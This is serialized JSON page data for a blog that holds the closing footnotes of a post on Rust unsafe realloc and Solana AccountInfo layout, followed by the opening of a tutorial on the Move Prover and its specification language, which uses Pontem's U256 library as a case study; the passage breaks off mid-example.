internals!",{"type":26,"tag":98386,"props":152188,"children":152189},{},[152190],{"type":26,"tag":163,"props":152191,"children":152195},{"href":152192,"ariaDescribedBy":152193,"dataFootnoteRef":8,"id":152194},"#user-content-fn-slice-unbound-lifetime",[98393],"user-content-fnref-slice-unbound-lifetime",[152196],{"type":32,"value":27010},{"type":26,"tag":98804,"props":152198,"children":152200},{"className":152199,"dataFootnotes":8},[98807],[152201,152206],{"type":26,"tag":27,"props":152202,"children":152204},{"className":152203,"id":98393},[98812],[152205],{"type":32,"value":98815},{"type":26,"tag":6712,"props":152207,"children":152208},{},[152209,152309,152326,152381,152394,152422],{"type":26,"tag":2044,"props":152210,"children":152212},{"id":152211},"user-content-fn-rc-refs",[152213,152215,152221,152223,152228,152230,152234,152236,152240,152242,152247,152249,152255,152257,152261,152263,152273,152275,152280,152282,152287,152289,152294,152296,152302,152303],{"type":32,"value":152214},"I find it helpful to view owning an ",{"type":26,"tag":83,"props":152216,"children":152218},{"className":152217},[],[152219],{"type":32,"value":152220},"Rc\u003CT>",{"type":32,"value":152222}," as holding a shared reference to the underlying ",{"type":26,"tag":83,"props":152224,"children":152226},{"className":152225},[],[152227],{"type":32,"value":178},{"type":32,"value":152229}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":26,"tag":65,"props":152231,"children":152232},{},[152233],{"type":32,"value":150258},{"type":32,"value":152235}," ensures that the actual ",{"type":26,"tag":65,"props":152237,"children":152238},{},[152239],{"type":32,"value":33715},{"type":32,"value":152241}," stays alive, however all you have is a reference to the ",{"type":26,"tag":83,"props":152243,"children":152245},{"className":152244},[],[152246],{"type":32,"value":178},{"type":32,"value":152248}," (through the ",{"type":26,"tag":83,"props":152250,"children":152252},{"className":152251},[],[152253],{"type":32,"value":152254},"Deref\u003CTarget = T>",{"type":32,"value":152256}," impl) - ",{"type":26,"tag":65,"props":152258,"children":152259},{},[152260],{"type":32,"value":22949},{"type":32,"value":152262}," ownership ",{"type":26,"tag":65,"props":152264,"children":152265},{},[152266,152268],{"type":32,"value":152267},"of the ",{"type":26,"tag":83,"props":152269,"children":152271},{"className":152270},[],[152272],{"type":32,"value":178},{"type":32,"value":152274},". In short, owning an ",{"type":26,"tag":83,"props":152276,"children":152278},{"className":152277},[],[152279],{"type":32,"value":152220},{"type":32,"value":152281}," is owning a (shared, read-only) reference to ",{"type":26,"tag":83,"props":152283,"children":152285},{"className":152284},[],[152286],{"type":32,"value":178},{"type":32,"value":152288},", not owning ",{"type":26,"tag":83,"props":152290,"children":152292},{"className":152291},[],[152293],{"type":32,"value":178},{"type":32,"value":152295}," directly like with ",{"type":26,"tag":83,"props":152297,"children":152299},{"className":152298},[],[152300],{"type":32,"value":152301},"Box\u003CT>",{"type":32,"value":15487},{"type":26,"tag":163,"props":152304,"children":152307},{"href":152305,"ariaLabel":98838,"className":152306,"dataFootnoteBackref":8},"#user-content-fnref-rc-refs",[98840],[152308],{"type":32,"value":98843},{"type":26,"tag":2044,"props":152310,"children":152312},{"id":152311},"user-content-fn-sendsync",[152313,152319,152320],{"type":26,"tag":83,"props":152314,"children":152316},{"className":152315},[],[152317],{"type":32,"value":152318},"!Send + !Sync",{"type":32,"value":19795},{"type":26,"tag":163,"props":152321,"children":152324},{"href":152322,"ariaLabel":137305,"className":152323,"dataFootnoteBackref":8},"#user-content-fnref-sendsync",[98840],[152325],{"type":32,"value":98843},{"type":26,"tag":2044,"props":152327,"children":152329},{"id":152328},"user-content-fn-layout",[152330,152332,152337,152338,152351,152353,152358,152360,152365,152367,152372,152374],{"type":32,"value":152331},"Note that this is a terrible idea for yet another reason: ",{"type":26,"tag":83,"props":152333,"children":152335},{"className":152334},[],[152336],{"type":32,"value":93505},{"type":32,"value":1681},{"type":26,"tag":163,"props":152339,"children":152342},{"href":152340,"rel":152341},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[167],[152343,152345],{"type":32,"value":152344},"not declared with ",{"type":26,"tag":83,"props":152346,"children":152348},{"className":152347},[],[152349],{"type":32,"value":152350},"#[repr(C)]",{"type":32,"value":152352},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":26,"tag":65,"props":152354,"children":152355},{},[152356],{"type":32,"value":152357},"breaks the entire chain",{"type":32,"value":152359}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":26,"tag":65,"props":152361,"children":152362},{},[152363],{"type":32,"value":152364},"some",{"type":32,"value":152366}," kind of interface to the specific layout of the specific ",{"type":26,"tag":83,"props":152368,"children":152370},{"className":152369},[],[152371],{"type":32,"value":150309},{"type":32,"value":152373}," versions used to build on-chain code for all eternity... ",{"type":26,"tag":163,"props":152375,"children":152379},{"href":152376,"ariaLabel":152377,"className":152378,"dataFootnoteBackref":8},"#user-content-fnref-layout","Back to reference 3",[98840],[152380],{"type":32,"value":98843},{"type":26,"tag":2044,"props":152382,"children":152384},{"id":152383},"user-content-fn-rustc-llvm",[152385,152387],{"type":32,"value":152386},"Actually, it's LLVM that does the optimization ",{"type":26,"tag":163,"props":152388,"children":152392},{"href":152389,"ariaLabel":152390,"className":152391,"dataFootnoteBackref":8},"#user-content-fnref-rustc-llvm","Back to reference 4",[98840],[152393],{"type":32,"value":98843},{"type":26,"tag":2044,"props":152395,"children":152397},{"id":152396},"user-content-fn-godbolt",[152398,152405,152407,152413,152415],{"type":26,"tag":163,"props":152399,"children":152402},{"href":152400,"rel":152401},"https://godbolt.org/z/PK46xMbxc",[167],[152403],{"type":32,"value":152404},"Click here",{"type":32,"value":152406}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":26,"tag":83,"props":152408,"children":152410},{"className":152409},[],[152411],{"type":32,"value":152412},"libcore",{"type":32,"value":152414}," available for other architectures yet. ",{"type":26,"tag":163,"props":152416,"children":152420},{"href":152417,"ariaLabel":152418,"className":152419,"dataFootnoteBackref":8},"#user-content-fnref-godbolt","Back to reference 5",[98840],[152421],{"type":32,"value":98843},{"type":26,"tag":2044,"props":152423,"children":152425},{"id":152424},"user-content-fn-slice-unbound-lifetime",[152426,152428,152433,152435,152441,152443,152449,152451,152457,152459,152465,152467,152473,152475,152480,152482],{"type":32,"value":152427},"The astute reader may have noticed that ",{"type":26,"tag":83,"props":152429,"children":152431},{"className":152430},[],[152432],{"type":32,"value":152132},{"type":32,"value":152434}," still returns an unbounded lifetime (notice in the signature ",{"type":26,"tag":83,"props":152436,"children":152438},{"className":152437},[],[152439],{"type":32,"value":152440},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":32,"value":152442},", the lifetime parameter ",{"type":26,"tag":83,"props":152444,"children":152446},{"className":152445},[],[152447],{"type":32,"value":152448},"'a",{"type":32,"value":152450}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":26,"tag":83,"props":152452,"children":152454},{"className":152453},[],[152455],{"type":32,"value":152456},"*slice",{"type":32,"value":152458},", which is ",{"type":26,"tag":83,"props":152460,"children":152462},{"className":152461},[],[152463],{"type":32,"value":152464},"&'info [u8]",{"type":32,"value":152466}," (where ",{"type":26,"tag":83,"props":152468,"children":152470},{"className":152469},[],[152471],{"type":32,"value":152472},"'info",{"type":32,"value":152474}," is the lifetime parameter of the ",{"type":26,"tag":83,"props":152476,"children":152478},{"className":152477},[],[152479],{"type":32,"value":93505},{"type":32,"value":152481}," struct) - this is exactly the lifetime we started with. ",{"type":26,"tag":163,"props":152483,"children":152487},{"href":152484,"ariaLabel":152485,"className":152486,"dataFootnoteBackref":8},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[98840],[152488],{"type":32,"value":98843},{"type":26,"tag":9282,"props":152490,"children":152491},{},[152492],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":152494},[152495,152501,152505,152506,152508],{"id":148207,"depth":6770,"text":152496,"children":152497},"Breaking down realloc",[152498,152499],{"id":148373,"depth":6779,"text":148376},{"id":149695,"depth":6779,"text":152500},"Back to realloc",{"id":150633,"depth":6770,"text":150636,"children":152502},[152503,152504],{"id":150639,"depth":6779,"text":150642},{"id":150860,"depth":6779,"text":150863},{"id":151042,"depth":6770,"text":151045},{"id":151440,"depth":6770,"text":152507},"Towards safer unsafe",{"id":98393,"depth":6770,"text":98815},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":152513,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":152514,"description":152515,"author":96998,"image":152516,"date":152518,"isFeatured":17,"tags":152519,"onBlogPage":17,"body":152521,"_type":6799,"_id":156869,"_source":6801,"_file":156870,"_stem":156871,"_extension":6804},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":152517,"height":105615,"width":105616},"/posts/move-prover/move-prover-title.jpg","2022-09-16",[152520,147486],"move",{"type":23,"children":152522,"toc":156855},[152523,152540,152551,152557,152562,152567,152572,152581,152586,152600,152605,152611,152616,152630,152635,152771,152784,152789,152810,152842,152853,152858,152863,152874,152886,153226,153240,153259,153304,153317,153336,153508,153513,153518,153542,153547,154141,154153,154165,154170,154184,154189,154202,154241,154246,154278,154283,154288,154301,154698,154725,154932,154937,154949,155183,155188,155196,155215,155564,155569,155725,155730,155737,155751,155757,155762,155767,155773,155786,156014,156020,156025,156045,156314,156319,156325,156336,156341,156355,156361,156396,156496,156518,156524,156529,156534,156801,156806,156824,156828,156833,156838,156851],{"type":26,"tag":39,"props":152524,"children":152525},{},[152526,152528,152532,152534,152538],{"type":32,"value":152527},"Formal verification -- a powerful tool for ",{"type":26,"tag":65,"props":152529,"children":152530},{},[152531],{"type":32,"value":73445},{"type":32,"value":152533}," the correctness of your programs. How does it ",{"type":26,"tag":65,"props":152535,"children":152536},{},[152537],{"type":32,"value":135937},{"type":32,"value":152539}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":26,"tag":39,"props":152541,"children":152542},{},[152543,152545,152549],{"type":32,"value":152544},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":26,"tag":65,"props":152546,"children":152547},{},[152548],{"type":32,"value":143148},{"type":32,"value":152550}," possible inputs.",{"type":26,"tag":27,"props":152552,"children":152554},{"id":152553},"move-prover",[152555],{"type":32,"value":152556},"Move Prover",{"type":26,"tag":39,"props":152558,"children":152559},{},[152560],{"type":32,"value":152561},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":26,"tag":39,"props":152563,"children":152564},{},[152565],{"type":32,"value":152566},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":26,"tag":39,"props":152568,"children":152569},{},[152570],{"type":32,"value":152571},"The architecture of the tool consists of multiple components as illustrated below.",{"type":26,"tag":39,"props":152573,"children":152574},{},[152575],{"type":26,"tag":6468,"props":152576,"children":152580},{"alt":152577,"src":152578,"title":152579},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":26,"tag":39,"props":152582,"children":152583},{},[152584],{"type":32,"value":152585},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":26,"tag":39,"props":152587,"children":152588},{},[152589,152591,152598],{"type":32,"value":152590},"The model is translated into an intermediate language, called ",{"type":26,"tag":163,"props":152592,"children":152595},{"href":152593,"rel":152594},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[167],[152596],{"type":32,"value":152597},"Boogie",{"type":32,"value":152599},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":26,"tag":39,"props":152601,"children":152602},{},[152603],{"type":32,"value":152604},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":26,"tag":27,"props":152606,"children":152608},{"id":152607},"move-specification-language",[152609],{"type":32,"value":152610},"Move Specification Language",{"type":26,"tag":39,"props":152612,"children":152613},{},[152614],{"type":32,"value":152615},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":26,"tag":39,"props":152617,"children":152618},{},[152619,152621,152628],{"type":32,"value":152620},"To better understand how to use the MSL, we will use ",{"type":26,"tag":163,"props":152622,"children":152625},{"href":152623,"rel":152624},"https://github.com/pontem-network/u256",[167],[152626],{"type":32,"value":152627},"Pontem's U256 library",{"type":32,"value":152629},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":26,"tag":39,"props":152631,"children":152632},{},[152633],{"type":32,"value":152634},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":26,"tag":207,"props":152636,"children":152638},{"code":152637,"language":56139,"meta":8,"className":56140,"style":8},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[152639],{"type":26,"tag":83,"props":152640,"children":152641},{"__ignoreMap":8},[152642,152684,152704,152724,152744,152764],{"type":26,"tag":217,"props":152643,"children":152644},{"class":7028,"line":7029},[152645,152649,152654,152658,152663,152667,152672,152676,152680],{"type":26,"tag":217,"props":152646,"children":152647},{"style":7154},[152648],{"type":32,"value":12224},{"type":26,"tag":217,"props":152650,"children":152651},{"style":7119},[152652],{"type":32,"value":152653}," U256",{"type":26,"tag":217,"props":152655,"children":152656},{"style":7054},[152657],{"type":32,"value":100053},{"type":26,"tag":217,"props":152659,"children":152660},{"style":7054},[152661],{"type":32,"value":152662}," copy",{"type":26,"tag":217,"props":152664,"children":152665},{"style":7048},[152666],{"type":32,"value":7599},{"type":26,"tag":217,"props":152668,"children":152669},{"style":7054},[152670],{"type":32,"value":152671},"drop",{"type":26,"tag":217,"props":152673,"children":152674},{"style":7048},[152675],{"type":32,"value":7599},{"type":26,"tag":217,"props":152677,"children":152678},{"style":7054},[152679],{"type":32,"value":78989},{"type":26,"tag":217,"props":152681,"children":152682},{"style":7048},[152683],{"type":32,"value":8064},{"type":26,"tag":217,"props":152685,"children":152686},{"class":7028,"line":6770},[152687,152692,152696,152700],{"type":26,"tag":217,"props":152688,"children":152689},{"style":7054},[152690],{"type":32,"value":152691},"    v0",{"type":26,"tag":217,"props":152693,"children":152694},{"style":7149},[152695],{"type":32,"value":1473},{"type":26,"tag":217,"props":152697,"children":152698},{"style":7119},[152699],{"type":32,"value":91146},{"type":26,"tag":217,"props":152701,"children":152702},{"style":7048},[152703],{"type":32,"value":10953},{"type":26,"tag":217,"props":152705,"children":152706},{"class":7028,"line":6779},[152707,152712,152716,152720],{"type":26,"tag":217,"props":152708,"children":152709},{"style":7054},[152710],{"type":32,"value":152711},"    v1",{"type":26,"tag":217,"props":152713,"children":152714},{"style":7149},[152715],{"type":32,"value":1473},{"type":26,"tag":217,"props":152717,"children":152718},{"style":7119},[152719],{"type":32,"value":91146},{"type":26,"tag":217,"props":152721,"children":152722},{"style":7048},[152723],{"type":32,"value":10953},{"type":26,"tag":217,"props":152725,"children":152726},{"class":7028,"line":7140},[152727,152732,152736,152740],{"type":26,"tag":217,"props":152728,"children":152729},{"style":7054},[152730],{"type":32,"value":152731},"    v2",{"type":26,"tag":217,"props":152733,"children":152734},{"style":7149},[152735],{"type":32,"value":1473},{"type":26,"tag":217,"props":152737,"children":152738},{"style":7119},[152739],{"type":32,"value":91146},{"type":26,"tag":217,"props":152741,"children":152742},{"style":7048},[152743],{"type":32,"value":10953},{"type":26,"tag":217,"props":152745,"children":152746},{"class":7028,"line":7165},[152747,152752,152756,152760],{"type":26,"tag":217,"props":152748,"children":152749},{"style":7054},[152750],{"type":32,"value":152751},"    v3",{"type":26,"tag":217,"props":152753,"children":152754},{"style":7149},[152755],{"type":32,"value":1473},{"type":26,"tag":217,"props":152757,"children":152758},{"style":7119},[152759],{"type":32,"value":91146},{"type":26,"tag":217,"props":152761,"children":152762},{"style":7048},[152763],{"type":32,"value":10953},{"type":26,"tag":217,"props":152765,"children":152766},{"class":7028,"line":7178},[152767],{"type":26,"tag":217,"props":152768,"children":152769},{"style":7048},[152770],{"type":32,"value":7184},{"type":26,"tag":39,"props":152772,"children":152773},{},[152774,152776,152782],{"type":32,"value":152775},"Now, let's consider the ",{"type":26,"tag":83,"props":152777,"children":152779},{"className":152778},[],[152780],{"type":32,"value":152781},"add(a: U256, b: U256): U256",{"type":32,"value":152783}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":26,"tag":39,"props":152785,"children":152786},{},[152787],{"type":32,"value":152788},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":26,"tag":39,"props":152790,"children":152791},{},[152792,152794,152800,152802,152809],{"type":32,"value":152793},"For example, if your file is ",{"type":26,"tag":83,"props":152795,"children":152797},{"className":152796},[],[152798],{"type":32,"value":152799},"sources/u256.move",{"type":32,"value":152801},", you can put specifications in ",{"type":26,"tag":163,"props":152803,"children":152806},{"href":152804,"rel":152805},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[167],[152807],{"type":32,"value":152808},"sources/u256.spec.move",{"type":32,"value":180},{"type":26,"tag":207,"props":152811,"children":152813},{"code":152812,"language":56139,"meta":8,"className":56140,"style":8},"spec add { ... }\n",[152814],{"type":26,"tag":83,"props":152815,"children":152816},{"__ignoreMap":8},[152817],{"type":26,"tag":217,"props":152818,"children":152819},{"class":7028,"line":7029},[152820,152825,152830,152834,152838],{"type":26,"tag":217,"props":152821,"children":152822},{"style":7054},[152823],{"type":32,"value":152824},"spec",{"type":26,"tag":217,"props":152826,"children":152827},{"style":7054},[152828],{"type":32,"value":152829}," add",{"type":26,"tag":217,"props":152831,"children":152832},{"style":7048},[152833],{"type":32,"value":65337},{"type":26,"tag":217,"props":152835,"children":152836},{"style":7149},[152837],{"type":32,"value":13251},{"type":26,"tag":217,"props":152839,"children":152840},{"style":7048},[152841],{"type":32,"value":65351},{"type":26,"tag":39,"props":152843,"children":152844},{},[152845,152847,152852],{"type":32,"value":152846},"The specifications placed inside the specification blocks are considered ",{"type":26,"tag":65,"props":152848,"children":152849},{},[152850],{"type":32,"value":152851},"Expressions",{"type":32,"value":180},{"type":26,"tag":607,"props":152854,"children":152856},{"id":152855},"expressions",[152857],{"type":32,"value":152851},{"type":26,"tag":39,"props":152859,"children":152860},{},[152861],{"type":32,"value":152862},"Let's go over some common expressions.",{"type":26,"tag":39,"props":152864,"children":152865},{},[152866,152872],{"type":26,"tag":83,"props":152867,"children":152869},{"className":152868},[],[152870],{"type":32,"value":152871},"aborts_if",{"type":32,"value":152873}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":26,"tag":39,"props":152875,"children":152876},{},[152877,152879,152884],{"type":32,"value":152878},"For example, the ",{"type":26,"tag":83,"props":152880,"children":152882},{"className":152881},[],[152883],{"type":32,"value":61551},{"type":32,"value":152885}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":26,"tag":207,"props":152887,"children":152889},{"code":152888,"language":56139,"meta":8,"className":56140,"style":8},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[152890],{"type":26,"tag":83,"props":152891,"children":152892},{"__ignoreMap":8},[152893,152927,152934,152983,153005,153033,153069,153110,153117,153124,153139,153219],{"type":26,"tag":217,"props":152894,"children":152895},{"class":7028,"line":7029},[152896,152900,152905,152909,152914,152918,152923],{"type":26,"tag":217,"props":152897,"children":152898},{"style":7154},[152899],{"type":32,"value":74748},{"type":26,"tag":217,"props":152901,"children":152902},{"style":7048},[152903],{"type":32,"value":152904}," P64",{"type":26,"tag":217,"props":152906,"children":152907},{"style":7149},[152908],{"type":32,"value":1473},{"type":26,"tag":217,"props":152910,"children":152911},{"style":7119},[152912],{"type":32,"value":152913}," u128",{"type":26,"tag":217,"props":152915,"children":152916},{"style":7149},[152917],{"type":32,"value":8993},{"type":26,"tag":217,"props":152919,"children":152920},{"style":7130},[152921],{"type":32,"value":152922}," 0x10000000000000000",{"type":26,"tag":217,"props":152924,"children":152925},{"style":7048},[152926],{"type":32,"value":7162},{"type":26,"tag":217,"props":152928,"children":152929},{"class":7028,"line":6770},[152930],{"type":26,"tag":217,"props":152931,"children":152932},{"emptyLinePlaceholder":17},[152933],{"type":32,"value":7817},{"type":26,"tag":217,"props":152935,"children":152936},{"class":7028,"line":6779},[152937,152941,152945,152950,152954,152958,152962,152966,152970,152974,152979],{"type":26,"tag":217,"props":152938,"children":152939},{"style":7054},[152940],{"type":32,"value":152824},{"type":26,"tag":217,"props":152942,"children":152943},{"style":7054},[152944],{"type":32,"value":64784},{"type":26,"tag":217,"props":152946,"children":152947},{"style":7064},[152948],{"type":32,"value":152949}," value_of_U256",{"type":26,"tag":217,"props":152951,"children":152952},{"style":7048},[152953],{"type":32,"value":1851},{"type":26,"tag":217,"props":152955,"children":152956},{"style":7054},[152957],{"type":32,"value":163},{"type":26,"tag":217,"props":152959,"children":152960},{"style":7149},[152961],{"type":32,"value":1473},{"type":26,"tag":217,"props":152963,"children":152964},{"style":7119},[152965],{"type":32,"value":152653},{"type":26,"tag":217,"props":152967,"children":152968},{"style":7048},[152969],{"type":32,"value":1889},{"type":26,"tag":217,"props":152971,"children":152972},{"style":7149},[152973],{"type":32,"value":1473},{"type":26,"tag":217,"props":152975,"children":152976},{"style":7054},[152977],{"type":32,"value":152978}," num",{"type":26,"tag":217,"props":152980,"children":152981},{"style":7048},[152982],{"type":32,"value":8064},{"type":26,"tag":217,"props":152984,"children":152985},{"class":7028,"line":7140},[152986,152991,152995,153000],{"type":26,"tag":217,"props":152987,"children":152988},{"style":7054},[152989],{"type":32,"value":152990},"    a",{"type":26,"tag":217,"props":152992,"children":152993},{"style":7149},[152994],{"type":32,"value":180},{"type":26,"tag":217,"props":152996,"children":152997},{"style":7048},[152998],{"type":32,"value":152999},"v0 ",{"type":26,"tag":217,"props":153001,"children":153002},{"style":7149},[153003],{"type":32,"value":153004},"+\n",{"type":26,"tag":217,"props":153006,"children":153007},{"class":7028,"line":7165},[153008,153012,153016,153021,153025,153029],{"type":26,"tag":217,"props":153009,"children":153010},{"style":7054},[153011],{"type":32,"value":152990},{"type":26,"tag":217,"props":153013,"children":153014},{"style":7149},[153015],{"type":32,"value":180},{"type":26,"tag":217,"props":153017,"children":153018},{"style":7048},[153019],{"type":32,"value":153020},"v1 ",{"type":26,"tag":217,"props":153022,"children":153023},{"style":7149},[153024],{"type":32,"value":10006},{"type":26,"tag":217,"props":153026,"children":153027},{"style":7119},[153028],{"type":32,"value":152904},{"type":26,"tag":217,"props":153030,"children":153031},{"style":7149},[153032],{"type":32,"value":9012},{"type":26,"tag":217,"props":153034,"children":153035},{"class":7028,"line":7178},[153036,153040,153044,153049,153053,153057,153061,153065],{"type":26,"tag":217,"props":153037,"children":153038},{"style":7054},[153039],{"type":32,"value":152990},{"type":26,"tag":217,"props":153041,"children":153042},{"style":7149},[153043],{"type":32,"value":180},{"type":26,"tag":217,"props":153045,"children":153046},{"style":7048},[153047],{"type":32,"value":153048},"v2 ",{"type":26,"tag":217,"props":153050,"children":153051},{"style":7149},[153052],{"type":32,"value":10006},{"type":26,"tag":217,"props":153054,"children":153055},{"style":7119},[153056],{"type":32,"value":152904},{"type":26,"tag":217,"props":153058,"children":153059},{"style":7149},[153060],{"type":32,"value":9690},{"type":26,"tag":217,"props":153062,"children":153063},{"style":7119},[153064],{"type":32,"value":152904},{"type":26,"tag":217,"props":153066,"children":153067},{"style":7149},[153068],{"type":32,"value":9012},{"type":26,"tag":217,"props":153070,"children":153071},{"class":7028,"line":7389},[153072,153076,153080,153085,153089,153093,153097,153101,153105],{"type":26,"tag":217,"props":153073,"children":153074},{"style":7054},[153075],{"type":32,"value":152990},{"type":26,"tag":217,"props":153077,"children":153078},{"style":7149},[153079],{"type":32,"value":180},{"type":26,"tag":217,"props":153081,"children":153082},{"style":7048},[153083],{"type":32,"value":153084},"v3 ",{"type":26,"tag":217,"props":153086,"children":153087},{"style":7149},[153088],{"type":32,"value":10006},{"type":26,"tag":217,"props":153090,"children":153091},{"style":7119},[153092],{"type":32,"value":152904},{"type":26,"tag":217,"props":153094,"children":153095},{"style":7149},[153096],{"type":32,"value":9690},{"type":26,"tag":217,"props":153098,"children":153099},{"style":7119},[153100],{"type":32,"value":152904},{"type":26,"tag":217,"props":153102,"children":153103},{"style":7149},[153104],{"type":32,"value":9690},{"type":26,"tag":217,"props":153106,"children":153107},{"style":7119},[153108],{"type":32,"value":153109}," P64\n",{"type":26,"tag":217,"props":153111,"children":153112},{"class":7028,"line":7406},[153113],{"type":26,"tag":217,"props":153114,"children":153115},{"style":7048},[153116],{"type":32,"value":7184},{"type":26,"tag":217,"props":153118,"children":153119},{"class":7028,"line":7439},[153120],{"type":26,"tag":217,"props":153121,"children":153122},{"emptyLinePlaceholder":17},[153123],{"type":32,"value":7817},{"type":26,"tag":217,"props":153125,"children":153126},{"class":7028,"line":7487},[153127,153131,153135],{"type":26,"tag":217,"props":153128,"children":153129},{"style":7054},[153130],{"type":32,"value":152824},{"type":26,"tag":217,"props":153132,"children":153133},{"style":7054},[153134],{"type":32,"value":152829},{"type":26,"tag":217,"props":153136,"children":153137},{"style":7048},[153138],{"type":32,"value":8064},{"type":26,"tag":217,"props":153140,"children":153141},{"class":7028,"line":7524},[153142,153147,153151,153155,153159,153163,153167,153171,153175,153179,153183,153187,153191,153195,153199,153203,153207,153211,153215],{"type":26,"tag":217,"props":153143,"children":153144},{"style":7054},[153145],{"type":32,"value":153146},"    aborts_if",{"type":26,"tag":217,"props":153148,"children":153149},{"style":7064},[153150],{"type":32,"value":152949},{"type":26,"tag":217,"props":153152,"children":153153},{"style":7048},[153154],{"type":32,"value":1851},{"type":26,"tag":217,"props":153156,"children":153157},{"style":7054},[153158],{"type":32,"value":163},{"type":26,"tag":217,"props":153160,"children":153161},{"style":7048},[153162],{"type":32,"value":8380},{"type":26,"tag":217,"props":153164,"children":153165},{"style":7149},[153166],{"type":32,"value":3540},{"type":26,"tag":217,"props":153168,"children":153169},{"style":7064},[153170],{"type":32,"value":152949},{"type":26,"tag":217,"props":153172,"children":153173},{"style":7048},[153174],{"type":32,"value":1851},{"type":26,"tag":217,"props":153176,"children":153177},{"style":7054},[153178],{"type":32,"value":14783},{"type":26,"tag":217,"props":153180,"children":153181},{"style":7048},[153182],{"type":32,"value":8380},{"type":26,"tag":217,"props":153184,"children":153185},{"style":7149},[153186],{"type":32,"value":70795},{"type":26,"tag":217,"props":153188,"children":153189},{"style":7119},[153190],{"type":32,"value":152904},{"type":26,"tag":217,"props":153192,"children":153193},{"style":7149},[153194],{"type":32,"value":9690},{"type":26,"tag":217,"props":153196,"children":153197},{"style":7119},[153198],{"type":32,"value":152904},{"type":26,"tag":217,"props":153200,"children":153201},{"style":7149},[153202],{"type":32,"value":9690},{"type":26,"tag":217,"props":153204,"children":153205},{"style":7119},[153206],{"type":32,"value":152904},{"type":26,"tag":217,"props":153208,"children":153209},{"style":7149},[153210],{"type":32,"value":9690},{"type":26,"tag":217,"props":153212,"children":153213},{"style":7119},[153214],{"type":32,"value":152904},{"type":26,"tag":217,"props":153216,"children":153217},{"style":7048},[153218],{"type":32,"value":7162},{"type":26,"tag":217,"props":153220,"children":153221},{"class":7028,"line":7553},[153222],{"type":26,"tag":217,"props":153223,"children":153224},{"style":7048},[153225],{"type":32,"value":7184},{"type":26,"tag":39,"props":153227,"children":153228},{},[153229,153231,153238],{"type":32,"value":153230},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":26,"tag":163,"props":153232,"children":153235},{"href":153233,"rel":153234},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[167],[153236],{"type":32,"value":153237},"MSL function",{"type":32,"value":153239},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":26,"tag":39,"props":153241,"children":153242},{},[153243,153245,153250,153251,153257],{"type":32,"value":153244},"A common pattern for ",{"type":26,"tag":83,"props":153246,"children":153248},{"className":153247},[],[153249],{"type":32,"value":152871},{"type":32,"value":1681},{"type":26,"tag":83,"props":153252,"children":153254},{"className":153253},[],[153255],{"type":32,"value":153256},"aborts_if false",{"type":32,"value":153258},", which lets you prove that a function will never abort.",{"type":26,"tag":207,"props":153260,"children":153262},{"code":153261,"language":56139,"meta":8,"className":56140,"style":8},"spec critical_function {\n    aborts_if 